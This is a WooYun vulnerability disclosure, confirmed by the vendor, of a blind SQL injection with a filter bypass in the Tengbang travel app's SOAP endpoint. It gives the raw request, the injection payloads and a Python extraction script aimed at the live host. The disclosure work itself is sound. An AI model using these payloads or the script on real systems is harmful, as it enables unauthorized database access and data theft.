当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0146185

漏洞标题:腾邦国际手机APP(腾邦旅行)SQL注入(含绕过)

相关厂商:腾邦集团

漏洞作者: 路人甲

提交时间:2015-10-12 22:13

修复时间:2015-11-29 14:28

公开时间:2015-11-29 14:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-12: 细节已通知厂商并且等待厂商处理中
2015-10-15: 厂商已经确认,细节仅向厂商公开
2015-10-25: 细节向核心白帽子及相关领域专家公开
2015-11-04: 细节向普通白帽子公开
2015-11-14: 细节向实习白帽子公开
2015-11-29: 细节向公众公开

简要描述:

APP的Oracle注入绕过

详细说明:

目标站:腾邦国际手机APP(腾邦旅行)
逛腾邦国际(http://bj.feiren.com/)的时候,发现页面下方有个APP下载,于是检测了一下。
发现以下地方存在布尔/时间盲注:(注入参数:<status i:type="d:string">Y'</status>)

POST http://m.cococ.cc/xfirews/faq HTTP/1.1
Accept-Encoding: identity
Content-Length: 705
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Host: m.cococ.cc
Content-Type: text/xml
<v:Envelope xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:d="http://www.w3.org/2001/XMLSchema" xmlns:c="http://schemas.xmlsoap.org/soap/encoding/" xmlns:v="http://schemas.xmlsoap.org/soap/envelope/"><v:Header/><v:Body><queryQuestion xmlns="http://entity.question.trade.cococ.cc" id="o0" c:root="1"><n0:in0 xmlns:n0="http://entity.question.trade.cococ.cc"><askpeoper i:type="d:string"></askpeoper><currentPageIndex i:type="d:int">1</currentPageIndex><pageSize i:type="d:int">20</pageSize><status i:type="d:string">Y</status><title i:type="d:string"></title></n0:in0></queryQuestion></v:Body></v:Envelope>


扔SQLMap里面,发现无法出数据:

QQ拼音截图未命名.jpg


莫非被过滤了?于是把SQLMap代理过来查看其数据包:
1)从上图可知,SQLMap走的是时间盲注路线。刚开始的时候,发包检测网站可用性,都正常返回,如下图

fiddler1.jpg


2)接着,开始发包进行时间盲注以注入出数据,但是发了几次包页面都出错了,导致SQLMap无法判断而异常结束,如下图

fiddler2.jpg


最后SQLMap只得返回:current database: None……
既然SQLMap不会自己纠错,我们就顺着SQLMap的思路来看吧~对SQLMap所发的注入包进行手工修改并注入,后来发现貌似是有些关键词被过滤了或无法执行,如NVL/CAST、select等,下面是执行select时的报错

fiddler3.jpg


知道过滤了啥就好办了,不妨换个语句来注入。这里我选择了布尔型来注入出当前用户,步骤如下:
1)首先判断当前用户长度,正确返回则语句为True,最后得知长度为6

Y' AND 3683=(CASE WHEN (length(user())=6) THEN 3683 ELSE 1 END) AND 'a'='a


2)同理,接着跑这六个字符

Y' AND 3683=(CASE WHEN (ASCII(SUBSTRC(user(),1,1))>55 THEN 1 ELSE 3683 END) AND 'a'='a


写了个Python

#!/usr/bin/env python
#coding=utf8
import httplib, urllib, re
user = ''
httpClient = None
for num in range(1,7):
for ascii_num in range(21,127):
try:
params = u'<v:Envelope xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:d="http://www.w3.org/2001/XMLSchema" xmlns:c="http://schemas.xmlsoap.org/soap/encoding/" xmlns:v="http://schemas.xmlsoap.org/soap/envelope/"><v:Header/><v:Body><queryQuestion xmlns="http://entity.question.trade.cococ.cc" id="o0" c:root="1"><n0:in0 xmlns:n0="http://entity.question.trade.cococ.cc"><askpeoper i:type="d:string"></askpeoper><currentPageIndex i:type="d:int">1</currentPageIndex><pageSize i:type="d:int">20</pageSize><status i:type="d:string">Y\' AND 3683=(CASE WHEN (ASCII(SUBSTRC(user(),'+ str(num) +',1))>'+ str(ascii_num) +') THEN 1 ELSE 3683 END) AND \'a\'=\'a</status><title i:type="d:string"></title></n0:in0></queryQuestion></v:Body></v:Envelope>'
headers = {"Host": "m.cococ.cc", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Content-Type": "text/xml", "Content-Length": len(params)}
httpClient = httplib.HTTPConnection("10.18.64.10", 8888, timeout=30)

httpClient.request("POST", "http://m.cococ.cc/xfirews/faq", params, headers)
response = httpClient.getresponse()
#print response.read()
#print phonecode
#response_headers = str(response.getheaders())
if re.search('content', response.read(), re.I):
user = user + chr(ascii_num)
print "User(): " + user
break
except Exception, e:
print e
finally:
if httpClient:
httpClient.close()


最后结果输出:user()='MOBILE'

user.jpg


安全性考虑,其他的就不跑了~~

漏洞证明:

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-10-15 14:26

厂商回复:

已通知项目组紧急处理,非常感谢!

最新状态:

暂无